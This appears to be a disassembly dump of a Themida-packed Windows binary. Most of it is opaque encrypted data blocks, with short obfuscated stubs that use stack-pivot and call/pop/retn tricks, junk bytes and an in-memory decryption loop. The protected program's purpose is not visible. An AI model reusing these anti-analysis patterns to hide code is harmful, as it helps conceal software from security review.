dd 0DCA72310h, 9F861969h, 432AC7DEh, 43FD4A3Ah, 4BF7F7F4h
dd 6BB353E7h, 9ABBA7BEh, 28A729D6h, 8B263F3Eh, 0CC3DAA3h
dd 0D9DE12A2h, 4049C55Dh, 0B86BECEFh, 25h, 1D6CC40Ah, 0E20A300Eh
dd 9FCAB353h, 0DB791C06h, 7C6FA729h, 0CEA4D9D1h, 0CFD854E0h
dd 276BECF7h, 0DFh, 0DE9F8699h, 35482AC7h, 0D7A6A12Ch
dd 0BCC1AD58h, 51FCEB76h, 0D67F2657h, 83FAF5A0h, 27071401h
dd 0AD3EDE6Ah, 0CD37FF2Ah, 0AD3EE35Ah, 14740904h, 0F0FF7E69h
dd 960F6E65h, 231097DFh, 0DA673610h, 0CE61AD3Eh, 0A1D96346h
dd 0F83EEB34h, 61CE1D9Bh, 5330B965h, 2B24B1B3h, 0E7A24B52h
dd 69B67C01h, 0C583D0C0h, 0AB6AD490h, 0A428F5A7h, 0E0522BA5h
dd 0AE3DF43Dh, 651810BDh, 0FBFC2F0Dh, 7198AD40h, 9CE1D382h
dd 126B612Ch, 6E8BC3Eh, 0B559D0FAh, 88Ch, 0C5C7B697h, 0A527563Ah
dd 789F4DAh, 9BED907Ch, 183FAF0h, 0F8DA34A2h, 8F780385h
dd 0F39EEEh, 85800B7Dh, 130098F8h, 230E6633h, 0CF3F36A7h
dd 0B393A486h, 0AD3EDEE6h, 0D2AB9FB6h, 224B22CBh, 0A9F0D7A2h
dd 0ECA5BCC1h, 0C4F54345h, 300E1D6Ch, 0B353E20Ah, 7EFFE796h
dd 1F082EE7h, 135A2306h, 3A896714h, 71F90406h, 0E991ECE4h
dd 0E4E2D1BEh, 0A7292CB5h, 2FC32E7h, 0A7292C4Fh, 9851D99h
dd 6BEC4880h, 0DA78h, 9F864A00h, 482AC7DEh, 0CD522C35h
dd 79AD3EE3h, 0F29DEF8Eh, 8CDB82FBh, 456AFF34h, 0EF66A8F7h
dd 0BCBAA946h, 0AD3ED79Dh, 0FB8266FFh, 0AC82AB62h, 0EB933F3Fh
dd 5603B353h, 38452CD9h, 0F4A18E02h, 0DEAB83FAh, 0FE392F62h
dd 29CA5100h, 5F1643A7h, 866C1916h, 48611C13h, 18C1E891h
dd 31F5D162h, 6DAD4172h, 0AC9E2FBCh, 0C45162D1h, 0FFB6AFCEh
dd 3C2B5603h, 0D272ADh, 11F8A665h, 7E662356h, 87AF66FFh
dd 0E7967C07h, 6AB9371h, 0F69811FAh, 770h, 0C9BBC2B3h
dd 51334A3Eh, 0CBBDC0A6h, 57394440h, 0D5B7C6ACh, 0A4866056h
dd 230CF7D9h, 0AC9F6A5Ah, 1914FFD1h, 0BFAC6464h, 230D92BFh
dd 3B9302A7h, 1B679724h, 0F29548h, 60391B3Ah, 0E68F1667h
dd 5B523D8Fh, 8614A222h, 6716FA9Fh, 0C7DE973Eh, 4A3A432Ah
dd 0F7F443FDh, 53F283F7h, 6FF623B3h, 3292EBE2h, 2A6D58E5h
dd 2C7B1174h, 0A4CAA3B5h, 0B39BFEE9h, 20FAA3CAh, 2E6F218Eh
dd 0EF079B19h, 0D76685F8h, 0E1E58DF0h, 574E2F16h, 0D2BA4B58h
dd 1C024FABh, 0E7922BEBh, 0B1B8C5AAh, 82D43208h, 0EA2BEB1Bh
dd 0C5C0D84Ch, 3ACBD8B8h, 1C614653h, 776E1D55h, 0CF835F06h
dd 1D2BEB1Bh, 95204934h, 0D5C6DF9Eh, 0E09DD161h, 3F263EB6h
dd 0CCC34E3Eh, 88F5DA6Bh, 92A2DF7Eh, 0E58CBD2Eh, 82D16FBCh
dd 0AD618965h, 144534A7h, 5AA907B4h, 0D655F1CDh, 0D8813A9Ah
dd 0C3A5F5D1h, 26452E92h, 0BECBB297h, 1B8B1CCh, 2BA73B39h
dd 0F355DC5Eh, 68F28E3Dh, 0E363F0BDh, 7B2F74A4h, 6EC42E49h
dd 382DAh, 1182EC00h, 0FCEB3AF6h, 53E81402h, 0F2D980B3h
dd 85D4B2C1h, 17A729D5h, 9F320C62h, 612838A7h, 889B98E7h
dd 0CEC9BFBh, 8FE79DAAh, 38B7F5B5h, 0F178A12Ch, 58D726A2h
dd 48EAF75Eh, 0C7641532h, 5E2E4F36h, 5BC1BCB3h, 7D12DBAFh
dd 0FDC66821h, 26000005h, 0AD583845h, 2DD8B8C5h, 0BF4A3A43h
dd 2BD6B6C7h, 0D5543449h, 56270DE7h, 0D7A68B76h, 56270AF5h
dd 0D9A48B76h, 54321FF7h, 0A7230D05h, 0C4B01E97h, 0CE4C376Ch
dd 602C6945h, 0C168AD3Eh, 0B4EBB992h, 0EA906E7Dh, 0AAB35376h
dd 0F9E3707Fh, 7A80AEC9h, 87223DF5h, 0BD4EDDA0h, 0DAA1620Ch
dd 0E27DB5E0h, 0D7B1412Dh, 0E1D0A59h, 7F38A7Fh, 0A729554Ah
dd 0DA571F4Ah, 3E69E6DCh, 1641D2ADh, 4CD88B85h, 7BAE77BFh
dd 0F6877E09h, 7FD3806Fh, 0A5C0106Ah, 0EFD675BDh, 987A178Eh
dd 3931BCE5h, 16801D44h, 0ED896A9Eh, 0B725D75h, 441D6AB9h
dd 7CD97201h, 0EB000002h, 0CAB39924h, 0F48927A4h, 3EDE5BFAh
dd 691039ADh, 0AD36ECCAh, 0C376B35Ah, 4A243724h, 0A723110Bh
dd 6C11FC89h, 0DCA188C5h, 27660CC5h, 0ABB3845h, 0AE225825h
dd 0C0A8F1E3h, 44EDA4BDh, 42BA14A7h, 6036E5F1h, 0F73F3E35h
dd 0A7C29670h, 210CA723h, 600F85Ch, 57C03E0h, 4EB61h, 2A533800h
dd 0C2BBAF5Ah, 2C5137C2h, 0C8B5B15Ch, 26573DC8h, 779107A6h
dd 1DE8E895h, 0BC474934h, 5D28A8D5h, 0E1B90B72h, 0B4B0AE4h
dd 5C49A723h, 1D6CC4E6h, 0ACEA300Eh, 0C576B35Ah, 0F997ED1Ah
dd 89D69CA9h, 412CC9E0h, 0C6C14C3Ch, 2C23AEB7h, 0D2BD5851h
dd 3017B2ABh, 0D05E544Dh, 27CF3064h, 0D1ACA3BBh, 28755162h
dd 74A72365h, 0DC95E8E1h, 65226F4Fh, 0C772A723h, 77101F6Fh
dd 7F6BE680h, 19Bh, 0DE9F8651h, 3A432AC7h, 0F443FD4Ah
dd 0E74BF7F7h, 0BE6BB353h, 331DA8A7h, 771A244Ah, 71A729D6h
dd 98F16D05h, 606BECEEh, 67h, 4A972472h, 31E16798h, 13AD1E54h
dd 0B9427C4h, 112AA057h, 0E66B2867h, 8F823280h, 0D66C4AE7h
dd 16B353BFh, 0D837C463h, 60A0D901h, 5302FCEBh, 41A729D5h
dd 5B476218h, 0A729D63Ah, 0C5DCA188h, 273E3F28h, 63970B75h
dd 0BBAE5F4Ch, 72026CC2h, 0F3F14BF8h, 9CABD2B8h, 571F0362h
dd 0EC52CFD8h, 0B3276Bh, 86990000h, 0C8C7DE9Fh, 8025693Bh
dd 0C66FF687h, 786DFD89h, 0DCA193C2h, 403D28C5h, 96A18C29h
dd 3ECEF998h, 0C76E9BADh, 0E7B29D28h, 48F17805h, 6B4549F1h
dd 0AD3ED3F8h, 0B2126B62h, 0CF5CAB05h, 5672A9EFh, 0F8F6EDB3h
dd 0A7272259h, 50B7BF67h, 0FD6695ABh, 7706254Ch, 1DE8E895h
dd 10D24637h, 94FC13BAh, 36E49DDh, 0C0B50000h, 4840CBBDh
dd 0BEA85335h, 4A42CDBFh, 0C4A65133h, 6258D7B9h, 0E9DBA288h
dd 7454291Eh, 0E9DBA289h, 7656271Eh, 88D5B19Eh, 14A72309h
dd 372431A1h, 3EDF1A37h, 0BFBEA8ADh, 0CE7DB564h, 0ACD1BDDCh
dd 5335FCB5h, 0D0C0BDA8h, 0DE9F8682h, 16BBC251h, 27A3F2CCh
dd 48F1AD3Eh, 6ABD030Bh, 15109DC4h, 0AF38CB68h, 8E6D3402h
dd 11BE1268h, 38CB68B7h, 2365B27Eh, 4BE88E6Ch, 53CCC36Bh
dd 0B936E3B3h, 455C210Ch, 7805018Ch, 9CBBA7C2h, 0D0A729C7h
dd 3CF4CE66h, 0E600FEEDh, 0CEAD3ED1h, 869B299Bh, 0C8C7DE9Fh
dd 0AFEEC8DBh, 0EDAD3EDEh, 0DE93C23Ch, 3D2FAD3Eh, 0FC32E740h
dd 0A5275651h, 0E251A018h, 324B44D1h, 52AC822Bh, 0B353E7F4h
dd 5F1E1520h, 0BFE68F46h, 29D6B2E3h, 2CB836A7h, 0ECEED7B0h
dd 0B011C26Bh, 0AC80C5A7h, 200B3BF3h, 0BD000000h, 0E1D6CC4h
dd 53E20A30h, 69FCAB3h, 29DB791Ch, 73FF6FA7h, 0ECF7B2F7h
dd 0DB466Bh, 86780000h, 2AC7DE9Fh, 0A5B63548h, 3EDE8CC9h
dd 196108ADh, 392A18Eh, 0C988720Bh, 0CBAD3EDEh, 0D2BDD89Eh
dd 0DECC8965h, 0A1C8AD3Eh, 0DEE5B492h, 82B7AD3Eh, 3017B2ABh
dd 382FDE4Dh, 9F99ED45h, 0AD3EE3BCh, 4B3219A4h, 7D6823h
dd 0C99260F3h, 0A9E1EE09h, 1B12FDD1h, 5F4C3B62h, 3E5C325Fh
dd 0E59890ADh, 1F4A15BCh, 6FBE7A57h, 5E748680h, 0F920B353h
dd 3F8E2A97h, 888D6B0h, 6514AD41h, 425537C6h, 0A0AC295h
dd 0DAAA83AFh, 0DC403D2Fh, 0FA069610h, 0C5790D84h, 5E000001h
dd 0D5C0106Dh, 6530A0DDh, 0C7B2126Bh, 632E9EDFh, 0FDBC0C71h
dd 0FE7F758Fh, 6F0E038Eh, 0FE7F721Dh
dd 710C038Eh, 0AC8A871Fh, 0A72308EDh, 8648B6AFh, 0AAF7D9A4h
dd 0BE7EE919h, 97DF75E6h, 1C6C11FCh, 373724AEh, 0AD3EDF1Ah
dd 2AA7CF7Ah, 0D6B03F8Eh, 0B353E230h, 9F2EBD6Ch, 20D9D0ADh
dd 22734F5Ah, 0C6A729DCh, 3142BC28h, 29DC0855h, 0A8E594A7h
dd 7978BEBFh, 6BECF830h, 0A7F2DA6Bh, 0EA73BAC3h, 0A05BEB43h
dd 6D000000h, 13FA9F86h, 0F33AF36Ah, 8EC847F4h, 1BB57049h
dd 0CBC14C53h, 4CCFABB2h, 0F6AD3E3Dh, 0D8A58A0Fh, 69642FA1h
dd 823E8D14h, 16A7B433h, 0A0BD4934h, 0FCAD3E3Ch, 2A04254Dh
dd 0B3533F08h, 9E2B9DCCh, 5A54D322h, 0AD40E6DDh, 485136C7h
dd 2258215Ch, 66171445h, 0EC97F984h, 0DDA17706h, 2FFA06C9h
dd 0D6D072h, 684D0000h, 0E0C8B315h, 66602B9Dh, 0E2CAB517h
dd 6C5E299Bh, 8A00BF11h, 81037A70h, 1C6C11F6h, 81037A71h
dd 1E6E0FF6h, 0F0AD8986h, 0ACA72307h, 0A48649B9h, 210CF7D9h
dd 86DE6C5Ch, 0C8C7DE9Fh, 0DEBEDBDBh, 2BDEAD3Eh, 8D911E1Ch
dd 6DC5C0D2h, 3696E7DEh, 53E02F89h, 5A00AB73h, 0B13EEBB3h
dd 29512C24h, 0B04917Eh, 7C03522Ch, 0E891A723h, 0C3AAE991h
dd 483FCABAh, 5302FCEFh, 41A7237Bh, 7B6F2E18h, 0FDF9A723h
dd 0A7237B60h, 27520D3Ch, 656B574Eh, 54E80808h, 3B324ADAh
dd 0D0B74242h, 0EFCA8767h, 9FCA663Eh, 4A42CFD6h, 66852A33h
dd 0EFDC7975h, 91B8663Eh, 0EA730A04h, 0F181EB43h, 3D8FEED9h
dd 5225B52h, 260C8D78h, 51581E57h, 3BDh, 66B41300h, 0D1D8A586h
dd 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h, 332A5339h
dd 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 58545004h, 405h
dd 4E88300h, 5C240487h, 3AD68h, 24348900h, 20DA68h, 24048900h
dd 4B3104BEh, 0FFC68343h, 0F26CE81h, 0C6813926h, 8AAC8FD0h
dd 24048B54h, 6804C483h, 22BDh, 81243489h, 71022434h, 408F36A3h
dd 8708108h, 36A37102h
; ---------------------------------------------------------------------------
mov eax, [esp-1C8h+arg_1C4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
mov esi, [esp-1C8h+arg_1C4]
push ecx
mov ecx, esp
loc_5E735D: ; DATA XREF: Themida_:0057C93Co
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
pop esp
jmp loc_58E30C
; ---------------------------------------------------------------------------
dw 61CAh
dd 0A3BD6879h
; ---------------------------------------------------------------------------
loc_5E7378: ; CODE XREF: sub_5E67F9:loc_5E68DBj
mov eax, 61BD8C2h
add eax, ebp
jmp eax
sub_5E67F9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 60h, 96h, 0D8h
dd 0D397CE79h, 68A84B4Ah, 0C21F251Fh, 2D81093Dh, 0DFD46003h
dd 8491C82Dh, 5F801112h, 19E42816h, 779B2A1Eh, 3FD8A26h
dd 8748DF7Eh, 0FF502615h, 8BC22906h, 0EAC4D022h, 0A1AC0505h
dd 0CD3C145Ah, 2483761Fh, 70FA2160h, 6CF80471h, 0CD519421h
dd 0B9D4A177h, 2C78040Fh, 0DBD11409h, 2E22D76Fh, 0BF2B7505h
dd 0AB8D8D18h, 31061BDAh, 1516CDBDh, 218D8906h, 56061527h
dd 0CD85C75Eh, 0B8061504h, 6A000068h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 4591C350h
dd 4282AA23h, 0AE960h, 6C3D0000h, 0C413308h, 29368411h
dd 2799BD8Bh, 0C7610615h, 15111585h, 6, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0D080846Bh, 0D858979h, 0FF06152Fh, 152921B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 70144F50h, 0D1B58B63h, 0FF061505h, 1502C995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0C75F8F12h, 0C800F3Ch, 0F000000h, 68Ch, 559D3100h, 6A061510h
dd 2195FF00h, 8B06152Eh, 374DEBC0h, 9B619C89h, 0FFBBAB91h
dd 69E1F855h, 97ECA8E1h, 0F602674h, 97A6670Ch, 8B86977Eh
dd 48BB7C5h, 4A22DF66h, 65ED1820h, 0AB825DC4h, 33CD7AD2h
dd 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh, 92D50E48h
dd 8ADEF66Dh, 2620980Bh, 12E8h, 59E400h, 0ED5502A5h, 99094C60h
dd 9C156A14h, 6630044Dh, 5EA834BBh, 0D5852957h, 5F061521h
dd 7542C681h, 8D890000h, 61522E5h, 0B9h, 8BD78B00h, 13E90E04h
dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h
dd 0E8815CD3h, 2FEED3EEh, 24599D89h, 0F0810615h, 2602A9EAh
dd 879B509h, 0C0810615h, 57C93186h, 0A9C38166h, 0BF0F50F2h
dd 0E048FFFh, 0BF66D08Bh, 0E981E7D9h, 34C29E55h, 58D0B60h
dd 66061517h, 6191F1BFh, 9E51C181h, 14E934C2h, 0DA000000h
dd 5D33C453h, 0BC365167h, 0B02807B8h, 5C40023Eh, 81E3A7E7h
dd 0FF8BB8F9h, 24850FFFh, 52000000h, 9E9h, 0AFFC8200h
dd 9CA8316Dh, 0E95F4D56h, 2Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h
dd 0E9B439ECh, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h
dd 3CE9726Bh, 29FFFFFFh, 0E8552FCBh, 0E932BAF8h, 31h, 1E327FF3h
dd 0Bh dup(0)
dd 58AE900h, 85680000h, 0E9061BDDh, 0FFF9A20Eh, 1BDE0B68h
dd 0A204E906h, 0AE68FFF9h, 0E9061BDFh, 0FFF9A1FAh, 491017Dh
dd 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh
dd 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h, 9D2EB1D8h
dd 81BB3C16h, 6056C624h, 1EB8597Eh, 14599133h, 11EE2898h
dd 5CDF4C3Eh, 4405D2ECh, 89136722h, 0C995E08Ah, 0F2980868h
dd 0F6C8F8C8h, 908F09E1h, 6CF3C434h, 95A74378h, 0EB2E95C7h
dd 92108677h, 2EBAE981h, 4D169C9Eh, 5C6DB40Fh, 3F101693h
dd 5C5A6B4Bh, 935CB4D9h, 0E7D64116h, 0D444A60Bh, 0C7F27736h
dd 837A9DBDh, 8E000003h, 93B68D4Fh, 5A1086F2h, 0F2A4ED58h
dd 76471086h, 68D85A59h, 0C0311F82h, 0D00ED000h, 86F22C75h
dd 4DBD4210h, 0FBCC7449h, 92764D0Fh, 0DB169BFBh, 0D59134CAh
dd 0A20BF952h, 0CE90AEDEh, 0F5950565h, 0E67802C6h, 0DCDAEB15h
dd 0D444C1F2h, 8CBC7C36h, 36ABACB2h, 372C95EDh, 0FB6BCCC7h
dd 6731B40Fh, 0D1E21F13h, 38680272h, 2C855767h, 67585ECEh
dd 0B5258683h, 0C910B3A9h, 0B41F2277h, 0B76C07E3h, 0D949A834h
dd 0C9E656DAh, 477D9A34h, 0D32F45AEh, 398h, 38DD4DA9h
dd 7F1686EBh, 10E555B0h, 482D9D23h, 0EE757DBh, 1B9F1299h
dd 0D255CAABh, 209C9362h, 0ED4EE5B0h, 1F2F987Dh, 9D2F7DA4h
dd 0BD7F0016h, 3DB0BABh, 0A2CE1440h, 6D8E916h, 59EC4DADh
dd 169D2E30h, 0F9C5EABBh, 74AF9E3h, 0E6169D2Eh, 2E2970D5h
dd 0A7D4169Dh, 0E9E6D040h, 54924C6h, 2E256CD7h, 0F7C8169Dh
dd 24941613h, 2E4993F2h, 6DC6169Dh, 3FEC9E0Eh, 91B14CBCh
dd 0D2B7D028h, 31260E4h, 0CF2F0000h, 869B65Fh, 0C726FD98h
dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D2Ch, 0BAB43F9h
dd 0F2365BEAh, 0E4B51086h, 450F3CBh, 0F916A2CEh, 7D481628h
dd 169D2E54h, 0AA640617h, 0FE6ECFE4h, 2E6CB10Ch, 282169Dh
dd 2A8FA492h, 0D4BD7CBAh, 8E50FAE9h, 38B19549h, 9674AB31h
dd 2895B41Bh, 0B09DC396h, 1EEh, 0B62685AEh, 9C0C7380h
dd 0E08AA59Ah, 3BC7243Ch, 544D49B9h, 502D69D9h, 7866507Fh
dd 0AB253C5Fh, 0A54514FEh, 0FE970764h, 2F2B7B5Ch, 3A857B82h
dd 630777F9h, 8559892Dh, 0D02C8557h, 559CC560h, 4E5F1086h
dd 5CC9019Ch, 8394169Bh, 8BF376BBh, 0A2F68657h, 36D4FBBCh
dd 3B507DF8h, 26861693h, 0C7380B6h, 11B49A9Ch, 16933BC8h
dd 52C3E2B3h, 67D2786Bh, 0E86CD178h, 0A50E9DBDh, 0B37D343h
dd 3Fh, 0DB0BAB1Fh, 0DB4BAE03h, 3608E2DBh, 37A70B28h, 95300EFFh
dd 1086F24Ch, 516C1E2Fh, 169BF5E1h, 0C18B8B9Ch, 900DED94h
dd 7E3DF42h, 9310719Ch, 2C93FE16h, 0BDFC901Dh, 0AF189Dh
dd 24F40000h, 0ABB55FC7h, 0C9FD6C34h, 3FC3B0E6h, 59DAC7CFh
dd 37B4ADE9h, 39BAF7C7h, 6F5221C9h, 1086F50Ch, 18DE849h
dd 4A200F7Fh, 0E4FA6AC9h, 939A2F3h, 0A3226BA7h, 250A0333h
dd 0C0802645h, 565CE90h, 0E45FF595h, 169EA8B6h, 4B687647h
dd 0BC9E77E7h, 9185F577h, 0DD5DCEBCh, 2A6A906Dh, 0F7FDB7D4h
dd 16F7Bh, 474D200h, 0CF3FC271h, 0C7CF926h, 0C636BA69h
dd 1282002Fh, 2C672483h, 68B75ECEh, 31FE9707h, 9D9263D3h
dd 0FCC7AE1Eh, 2D2E73D2h, 4CCD169Dh, 56C624F0h, 0AB1370BFh
dd 8E3BC8ECh, 78A1244Dh, 310868Ah, 63321D32h, 57C724D5h
dd 89F1525Fh, 85A19C0Ah, 660F20BDh, 8E508040h, 6056C625h
dd 0AB97B6Fh, 169C8021h, 0E656D5DEh, 0BB839404h, 0C108BBA1h
dd 431690E3h, 0DF1D8A9Eh, 0C9DA4685h, 2292F021h, 592F6E53h
dd 0C2411690h, 514B8C52h, 73C37898h, 0E252B1E2h, 642FDBB4h
dd 59DF6BCFh, 0BBF8C6E9h, 0F422C838h, 3AAA092Ah, 3B6703FCh
dd 0BCh, 0B1D86B71h, 3C169089h, 0D1044C6Bh, 6955DAA9h
dd 0BAB9981h, 851F4EAh, 0F31086F2h, 0F25E8322h, 0C1D1086h
dd 60A81B23h, 0D16A2CEh, 71F5CB44h, 9D238FD2h, 7A5D6E16h
dd 44748035h, 5BFB695Bh, 0CCCAE5CAh, 0E252B102h, 4003DBB4h
dd 169D9319h, 0FA37D3E4h, 1D8DED79h, 6A0B2419h, 0D0C636B5h
dd 0ABF15975h, 7A65CC2Eh, 977EEE4Dh, 7BBB2B88h, 600DC491h
dd 6851CDB0h, 9CAAEF56h, 40510EC2h, 970769AAh, 0BD9AA49Fh
dd 1FA6410Ch, 0EC2AEFAh, 0E5A7B081h, 72E2609Fh, 86644B44h
dd 94EA40Bh, 2E67CDC4h, 6DCEC5BCh, 26C4B9FDh, 7F1686E5h
dd 0B3E353B0h, 34Fh, 4B2F6B00h, 5C5ACA24h, 4274E447h, 3363D331h
dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
dd 3C7AEA4Fh, 306B6878h, 34890000h, 0E1895124h, 4C181h
dd 0E9810000h, 4, 5C240C87h, 50242C89h, 405E089h, 2D000000h
dd 4, 5C240487h, 68240C89h, 61BDC59h, 81242C8Bh, 4C4h
dd 0C8B5400h, 4C48124h, 52000000h, 16B8BE56h, 0F6817B51h
dd 7B5116B0h, 15EF289h, 5A2A89CAh, 592434FFh, 0FF04C483h
dd 815D2434h, 4C4h, 9C9CE900h, 42E0FFF9h, 0ABFC9EE9h, 0DE83084h
dd 9DE983DFh, 1BE142B8h, 0FFC50306h, 65AB9EE0h, 0CFB2E163h
dd 0D8EBD744h, 8E6B85Fh, 0D791828h, 0E38D8D5Ch, 6A061BE2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 6B7DC355h, 302A4E9Eh, 915BD03h, 95090615h
dd 6152ED9h, 27218D89h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 9EC8F7C3h, 5899C50Dh
dd 0E8556317h, 10h, 0D2111F3h, 0A076A1Eh, 0F354577Bh, 95187898h
dd 0FE9h, 8FBE2600h, 0CD7CA9ABh, 58FC6515h, 63D328A0h
dd 0CD85C75Eh, 0E8061504h, 6A000058h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 70AAC350h
dd 0FA40F039h, 111585C7h, 615h, 8D890000h, 61528B1h, 1D45B5FFh
dd 95890615h, 61518DDh, 2C995FFh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2185E4C3h
dd 532D40B9h, 6A7BFDC1h, 2195FF00h
db 2Eh, 15h
; ---------------------------------------------------------------------------
loc_5E7D12: ; DATA XREF: Themida_:0057C2E0o
push es
mov eax, eax
jmp short loc_5E7D22
; ---------------------------------------------------------------------------
db 0B1h
dd 0F46A2D21h, 0AAF4FADAh
db 6Dh, 7Eh
; ---------------------------------------------------------------------------
loc_5E7D22: ; CODE XREF: Themida_:005E7D15j
call near ptr sub_5E7D35
cmp eax, [ecx+ebp*4+67h]
mov ebp, 6B90E018h
mov ds:8653FC66h, eax
; =============== S U B R O U T I N E =======================================
sub_5E7D35 proc far ; CODE XREF: Themida_:loc_5E7D22p
; FUNCTION CHUNK AT 005E7E25 SIZE 0000001D BYTES
pop edi
add bl, 0DDh
add edi, 6F55h
mov ebx, edi
xor edx, edx
jmp loc_5E7D56
; ---------------------------------------------------------------------------
dd 3B62F988h, 13A3C627h, 5C8487C6h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
loc_5E7D56: ; CODE XREF: sub_5E7D35+Ej
; sub_5E7D35+9Dj
mov esi, [edi+edx]
xor [ebp+6152ED9h], eax
add esi, 46AEA33Fh
jmp loc_5E7D71
; ---------------------------------------------------------------------------
dw 0C19Ah
; ---------------------------------------------------------------------------
inc esi
db 66h
jns short loc_5E7DE7
daa
loc_5E7D71: ; CODE XREF: sub_5E7D35+30j
xor esi, 4D008315h
mov [ebp+61528A1h], ecx
sub esi, 2661471Fh
jg loc_5E7D8F
mov [ebp+61518A5h], ebx
loc_5E7D8F: ; CODE XREF: sub_5E7D35+4Ej
push esi
mov ax, 28E3h
pop dword ptr [edi+edx]
mov cx, bx
jnz loc_5E7DB4
loc_5E7DA0: ; CODE XREF: sub_5E7D35+B7j
jmp loc_5E7DB4
; ---------------------------------------------------------------------------
db 34h, 50h, 0B7h
db 0ACh, 2Dh
; ---------------------------------------------------------------------------
loc_5E7DAA: ; CODE XREF: sub_5E7D35+B3j
pop es
pop es
; ---------------------------------------------------------------------------
dd 647B8181h, 0A44FE0FDh
; ---------------------------------------------------------------------------
loc_5E7DB4: ; CODE XREF: sub_5E7D35+65j
; sub_5E7D35:loc_5E7DA0j
sub edx, 6FED859h
mov [ebp+6150829h], ebx
add edx, 6FED855h
sub [ebp+6150C5Dh], eax
cmp edx, 0FFFF9170h
jnz loc_5E7D56
jmp loc_5E7DF0
; ---------------------------------------------------------------------------
db 2, 0F0h, 73h
dd 2A70E526h
db 62h, 4Eh, 6
; ---------------------------------------------------------------------------
loc_5E7DE7: ; CODE XREF: sub_5E7D35+38j
sahf
jecxz short loc_5E7DAA
jns short loc_5E7E25
jg short loc_5E7DA0
; ---------------------------------------------------------------------------
dw 9BD2h
; ---------------------------------------------------------------------------
loc_5E7DF0: ; CODE XREF: sub_5E7D35+A3j
lea ecx, [ebp+61BE49Dh]
push 0
push edi
call sub_5E7E01
and [edi-3Dh], bl
sub_5E7D35 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5E7E01 proc near ; CODE XREF: sub_5E7D35+C4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5E7E01 endp
; ---------------------------------------------------------------------------
db 0BEh, 0CCh, 0D9h
dd 4DBAB54Ah, 58B0FC2h, 0BA000000h, 16C2F2C2h
db 89h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5E7D35
loc_5E7E25: ; CODE XREF: sub_5E7D35+B5j
lea esp, [ecx]
daa
adc eax, 0FCE68006h
mov dword ptr [ebp+61504CDh], 74C0h
push 0
push ebx
call sub_5E7E42
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5E7D35
; =============== S U B R O U T I N E =======================================
sub_5E7E42 proc near ; CODE XREF: sub_5E7D35+105p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5E7E42 endp
; ---------------------------------------------------------------------------
dw 5FFEh
dd 1F2BB3BCh, 816686EBh, 66B00BCFh, 85C7D88Bh, 6151115h
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5E7E77
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E7E77 proc near ; CODE XREF: Themida_:005E7E6Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5E7E77 endp
; ---------------------------------------------------------------------------
db 97h
dd 858970A4h, 61505DDh, 0FFE9DC80h, 1523E1B5h, 5AD88006h
dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 21935EC3h, 0BE13BBFFh, 0FF006AD2h
dd 152E2195h, 0EBC08B06h, 0C92CB47Ch, 0F2EC95E3h, 9537D659h
dd 254A6968h, 0B2705D92h, 89C7628Dh, 794F6B8Ch, 6D37BE1Eh
dd 0C52D0A89h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h
dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh
dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h
dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h
dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 1EE9D4h, 5B490000h
dd 1B23h, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E84A3
; ---------------------------------------------------------------------------
db 6Ah, 0Ch, 9Ch
dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 17D6FBCAh
dd 0D495169Dh, 57C72468h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h
dd 960665AEh, 298A99F4h, 0A28F7DB9h, 4CBDAD1Dh, 2A377FEFh
